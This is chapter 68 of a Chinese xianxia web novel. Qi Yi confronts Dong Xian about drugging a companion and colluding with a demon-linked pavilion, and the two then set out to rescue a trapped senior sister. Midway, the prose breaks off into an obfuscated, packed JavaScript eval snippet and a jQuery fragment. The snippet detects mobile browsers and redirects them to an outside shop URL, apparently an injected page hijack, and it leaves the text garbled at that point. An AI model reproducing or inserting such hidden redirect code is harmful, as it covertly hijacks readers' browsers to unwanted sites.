68.第 68 章

作品:《今天蛊到你了吗

    东闲也没指望亓沂能回答她,目光重新落在天月狼身上,自顾自道:“这只天月狼应是被某个修士圈养家中,因为本性孤傲不愿达成契约,修士便施以暴行逼迫天月狼就范,不料它得空逃跑被你契约。”


    一个御兽师以强迫虐待的方式让妖兽定下契约这件事若是传了出去,必是丑闻一桩,对方能抓到天月狼狼王之子,想必来头不简单,如若对方知道自己抓住的天月狼被亓沂契约,无论是夺契约兽之仇,还是保住名声,都会对亓沂下手。


    至于亓沂对此的态度如何,东闲不想用都知道她有多无所谓。


    东闲起身,道:“我怎么觉得你对我的态度变了,没有以往耐心,尽是不耐烦。”


    她带着点哀怨意味地开口:“你我二人生死与共的交谊,何至于如此生分?”


    生死与共?


    她又在说什么胡话。


    亓沂稍作思索,便明白她所谓的生死与共是何意。


    当修士渡劫时,无关人士需得速速离开,以免被波及其中,玄清宗便有一座峰就单纯地命名为渡劫峰,渡劫峰被众长老设下结界与外界隔离,所有要渡劫的弟子都要在那渡劫。


    这又算什么生死与共,依照她的实力根本瞧不上东闲的劫雷。


    东闲见她无动于衷,再度开口:“你就不想知道我为何留下吗?他们舍得抛下你,我舍不得,所以我便留下了。”


    听到这,亓沂冷声道:“邱少英昏迷不醒,是你动的手脚。”


    在东闲要求走在邱少英前面时,她在邱少英的袖口留下了致人昏迷的粉末,大风狂作时,邱少英想抬起手臂捂住口鼻,从而使得衣袖上的粉末顺利进入口鼻,导致她昏迷不醒的结局。


    东闲毫无负罪感,道:“你应该换个思路来看,我是在帮你,如若没有我动手,你就不会知道,这群人在危难之际是多么自私,只想着逃跑不曾留下一个来陪你。”


    邱少英昏迷了最多两个人带着她回去就好了,但是他们都选择离开,没有一个人有帮忙的意思。


    亓沂看得分明,丝毫不会为东闲的话所引导,道:“你自己的私心,不用打着为我的旗号。”


    她真是冷淡得过分,看什么都漠然,可偏偏又答应断后,偏偏又守在她身后看着她过桥。


    东闲直言问道:“那你为何你帮我?”


    亓沂的目光落了过来,总是锋芒外露的眸子,实在让人难以招架住。


    “我未允许过你离开我的身边,你若是想走也没这个机会。


    “慕婉思,我以为你忘记了许多。”


    她那双极具侵略性的眼眸多了戏谑的意味。


    东闲被她的话所惊,先前未注意到的几点,全都在此刻清晰明了串联成线,她似乎明白了一切,面上的笑意冷却。


    “上官莲蓉他们是陪你演了一场为我而唱的戏,你今日是想把我困在赤焰龙脉无法出去。”


    亓沂:“猜对了一半。”


    东闲勉力扯着嘴角,似笑更似哭:“我可没这么希望能猜对一半。”


    亓沂道:“身为玄清宗弟子,你不会不知道百仙盟为何会禁止贩卖星宿传承,替换星宿传承的修士都需要焕新膏来降低排异效果,而这焕新膏用了一种催人入魔的原料。


    “纵容星宿传承的剥夺贩卖,便是纵容焕新膏的贩卖,更是纵容修士入魔。你知罪犯罪,与魔苟合,与玲珑阁勾结,我身为玄清宗的代掌门,是不是该把你送到百仙盟接受判决。”


    被疑似看穿了身份,东闲神色也不见一点慌张,她大脑迅速回忆到底是哪里出了差错,才叫亓沂发现了端倪。


    又暗道亓沂的敏锐,那日大殿上,众多长老皆视她为受害者,唯有亓沂怀疑她的动机。


    没想到亓沂才是玄清宗最难糊弄的存在。


    这会其他人都走了,唯有她和亓沂在,亓沂也承认是故意留下她,而且依亓沂的性子,是懒得与她周旋,事情几乎尘埃落定,东闲便直言问道:“我是哪里做得不好吗?”


    亓沂道:“聪明的人会想多。”


    东闲一下联想到听风竹林时宋问天的箫声,当时她以为亓沂出手是因为她心虚,后来自己拿走她的镜子,亓沂表现得更是激动,她东闲便下意识以为那镜子有问题。


    如今看来是那面镜子的确有问题,但是是为了钓她这条鱼。


    东闲像是听不懂她话似的,轻轻地反驳道:“我并不聪明,我需要的是力量,对于我有用的也只有力量。”


    亓沂:“你需要的力量便是与贩卖星宿传承的玲珑阁合谋?”


    东闲微微错愣,她一时的沉默在亓沂看来有了另一层的意思。


    她不带感情色彩的评价道:“与玲珑阁合谋,有够愚蠢的。”


    被她骂了的东闲抬眼盯着她,眼里溢出点点笑意。


    果然,亓沂不会占据道德的制高点去评判剥夺星宿传承一事,在她眼里看得分明的只有利益。


    东闲问道:“你是看不上玲珑阁吗,好歹玲珑阁能与魔尊接触哎。”


    亓沂带着点淡淡的讽意开口:“你能在这场关系中独善其身多久。”


    她看人本就蔑视,此刻无声地表达着对东闲的嘲讽。


    所以觉得她蠢,不是因为她的“合作伙伴”不行,而是觉得她的智谋、胆略与力量不足以能够与玲珑阁为伍,通俗点说,也就是东闲一定会跟落入狼群中的小羊羔似的被吃得一块骨头都不剩。


    东闲不知道该不该要高兴自己平时伪装的无害单纯形象太过引人深刻,才会让亓沂觉得她是个傻瓜。


    她复而生出一个念头,亓沂现在其实没看出她不是慕婉思吧,亓沂的思考都是基于“她是落难鬼煞冢的慕婉思”这点出发。


    所以在亓沂看来,她应当是为了活着逃离鬼煞冢,不得不与魔尊达成某种不可告人的交易。


    东闲眼中划过一丝狡黠,若是这样,事情便会好办。


    “可我只是想要活命,其实我也不想助纣为虐,是怀玉师兄和常师兄逼我去剥夺鸦昤的内丹,依我的能力,也只能做出小小的反抗,我日日受着煎熬,若非我才淬灵境的实力,许多事情都能由己。”


    仗着死人不能开口,东闲张口就能编出一个情真意切的谎言,她摆出委屈模样谁也不能怀疑,叫人垂怜。


    亓沂不知道对面的人是不是在演戏,在听到“小小的反抗”几个字眼,率先出现在她的脑海里的是常怀清头身分离的躯体。


    她多看了那张柔弱白花脸,觉得自己对这一类脸都有了深刻的印象,冷嗤一声。


    东闲见她没说话,复而想到什么,大惊失色。


    “你带我来这,是想杀人灭口?可是我还什么都没做,罪不至此吧,就算你现在是代掌门,也没有权利随意定夺我的生死。”


    她警惕地退后两步,甚至起了护体金刚罩,这一幕落在亓沂眼里简直让她想发笑,但她鲜有笑容,嘴角的弧度丝毫未变。


    亓沂懒得骂她傻,抬手甩出的冰链缠上东闲的手腕,轻易碎了对方的屏障,将人往回勾,两人间的距离便无限缩小。


    她用一种简单粗暴的方式警告东闲,她若想杀东闲,东闲可以连痛的感知还没传达到大脑神经,就已经是冰冷的尸体。


    “你的身上有什么值得它在意的?”


    亓沂从头到尾关心的都是东闲与魔的关系,而非她与剥夺星宿传承一事。


    东闲答非所问:“我身上一定有值得你在意的。”


    在亓沂厌烦她的谜语般的回话前,她又道:“你带我来这里,是因为你的私心,你这样我可没办法告诉你我怎么让它听话的。”


    她目光点了下被冰链吊起来的手。


    亓沂这回收冰链很快,明显是东闲的话有给她一点兴趣。


    亓沂真是有极强的掌控欲。东闲如此点评道。


    不过她是大方的人,不会计较这件事,才不是因为目前两人实力相距太远,没办法把亓沂收拾一顿。


    她再度打开星图,想看看自己的行踪轨迹,结果发现代表她的星星不远处还有颗星星存在的迹象。


    安泛泛跟过来了。


    这颗星星是停止不动的,代表安泛泛被困在某个地方,东闲对比两条星星的轨迹,并不交叉,意味着安泛泛走错了路。


    “你不打算让我离开这里,是因为你觉得在我身上有可能会得到与魔共处的方法,我告诉你我的确有。”


    亓沂看着东闲,东闲突然想往回走,不出两步,她神色微变,抚额流露出一点戾气的情绪来,然后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701760|134915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    罕见地面上笑脸尽无,让亓沂有些稀罕地发现,原来这张天生的笑脸也有不笑的时候。


    东闲对她道:“师姐在附近,我必须要先找到她。”


    亓沂记得队伍中有一人没跟上来,一下便能对应上是安泛泛。


    对于安泛泛她有印象,所以问得才够不解。


    “她为什么会跟过来?”


    明知前面有危险,还跟着过来干什么,这个安泛泛有炼心境的实力,但缺乏历练,未必能发挥得了炼心境的威力来。


    东闲回得很自然:“因为我讨人喜欢。”


    亓沂沉默一瞬,目光打量着她,似乎觉得她话极为不可信。


    东闲看着亓沂,弯了弯眼,又补充道:“你以后也会喜欢我的。”


    亓沂不冷不淡道:“你对她倒是舍命相待。”


    东闲道:“我待你也不是吗,方才只有我舍得留下来,他们都走了,连回头都没有,一个都没有。”


    东闲伸出一根手指晃了晃,特意强调一个都没有,以来证明她这个唯一是待亓沂多么的好。


    亓沂并不领情,一言道破她的心思,道:“你很想装作真心待我,可心底的算计比谁都可怕。”


    东闲真心夸赞道:“你很聪明,但我是真心想留下陪你的。”


    亓沂依旧冷淡得让人心痛:“圣阶法器,谁都真心想抢。”


    东闲反问道:“那你觉得我救师姐的心是假的吗?”


    亓沂蹙眉,不说话了。


    似乎在她看来,东闲没有必须救安泛泛的理由,她们之间没有利益纠葛,也许这颗真心是不容置疑的。


    东闲微微笑了。


    在她表达想要就此离开的心迹后,这屡神识缠得她头疼得要命,让她近乎晕厥,东闲实在忍受不住只好留下。


    这心当然也是假的,如若不是贪狼星君的那缕神识逼迫她,她甚至会将供二人联系的星图销毁,圣阶法器还没拿到,就得拿命去救另一个人,倒也不看看她现在有多大本事。


    等她找到办法,一定让贪狼星君离开她的识海。


    东闲这辈子最讨厌束缚,她绝不能让贪狼星君束缚她一辈子。


    听东闲说安泛泛也在附近后,亓沂也没想要坚持离开,安泛泛真要出事,她也是要担责的。


    东闲问道:“两个时辰应该快要到了吧?”


    亓沂道:“够了。”


    她回得很自信,东闲听她这么说心也放平了。


    二人依循着星图上的轨迹寻找安泛泛,约莫花上一盏茶的功夫,星图上的两颗星星就要触碰到一起。


    东闲的目光从星图上剥离,转而落向前方,前方是一片瘴林,绿色的瘴气弥漫在林子之间。


    不用东闲开口,亓沂已经主动道:“是幻境,某种吓唬人的玩意,不足为惧,但需要注意时间,瘴气能够变化出路,若不加注意很容易迷失。”


    东闲内心重复着“幻境”二字,听出亓沂言语中不屑之意,料想这幻境也并非多高明。


    如此不高明,安泛泛却在其中待上了一炷香,在她们寻找安泛泛的路途上,安泛泛的那颗星未曾有过变化。


    安泛泛是炼心境的修士,身上应当有不少护身法器,理应不会被困在其中才对。


    困在里面那么久,莫非是为了寻她?


    东闲问道:“怎么样才能从中脱困?”


    亓沂道:“你的星图不会受瘴林影响。”


    话落,亓沂抬步打算往前走,但被东闲拉住。


    “不用了,你在这等我们,我一人带师姐出来便好。”


    对上亓沂狐疑的视线,东闲面不改色地“解释”道:“师姐胆子小,她进去已经有一炷香的时间,此刻状态也不会太好,平日大家都敬畏你,师姐也是,若是再看到你怕是要受到刺激,我与师姐关系亲密,她见到我说不定就能走出来,这里并不安生,或许还会有高阶妖兽经过,还得麻烦你来守着。”


    亓沂回忆安泛泛每次见到自己都跟缩头鸵鸟似的神情,觉得东闲说得很委婉了,于是颔首,答应守在外面。


    赤焰龙脉多危险,东闲想离开还得仰仗她,亓沂并不担心东闲能跑得掉。


    东闲放大星图的轨迹,循着安泛泛的那颗星慢慢靠过去。